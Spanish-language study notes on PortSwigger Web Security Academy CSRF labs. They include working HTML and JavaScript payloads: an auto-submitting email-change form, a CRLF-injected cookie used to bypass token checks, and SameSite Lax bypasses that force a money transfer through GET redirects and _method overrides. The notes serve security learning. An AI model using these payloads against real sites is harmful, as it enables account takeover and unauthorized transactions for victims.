PortSwigger CSRF Web Session

CSRF — Cross-Site Request Forgery

Técnicas de explotación y bypass de protecciones CSRF: tokens, SameSite cookies y más.

PoC básico — Burp Suite CSRF generator

HTML
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything%40web-security-academy.net">
</form>
<script>
    document.forms[0].submit();
</script>

Bypassing CSRF token validation

1. Token validation depends on request method
Probar si se puede usar otro método HTTP (GET↔POST) para bypassear la verificación del token.
2. Token validation depends on token being present
Borrar el parámetro CSRF del request para verificar si la validación se omite cuando el campo no existe.
3. CSRF token is not tied to the user session
El token puede ser de un solo uso pero no estar vinculado a la sesión que lo generó — interceptar el token de otra cuenta y usarlo en la propia.
4. CSRF token tied to non-session cookie

La PoC inyecta una cookie vía CRLF injection en el parámetro search, luego envía el form con ese csrfKey conocido.

HTML PoC
<html>
  <body>
    <form action="https://LAB.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="csrf" value="pXkic7v4DwqTztAAicIRS570H2unb2Kz" />
      <input type="submit" value="Submit" />
    </form>
    <img src="https://LAB.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=0oCTZtePydaRQU3RtuN1yQpY1KDRaeVF%3b%20SameSite=None"
         onerror="document.forms[0].submit()">
  </body>
</html>
5. CSRF token duplicated in cookie
Verificar si el servidor solo compara que la cookie CSRF y el parámetro CSRF sean iguales entre sí, sin validar contra la sesión.

Bypassing SameSite Lax via GET

Modo básico — redirección directa
JavaScript
<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
Si GET no está permitido — method override
HTML
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>
JavaScript redirect con _method
<script>
document.location="https://LAB.web-security-academy.net/my-account/[email protected]&_method=POST"
</script>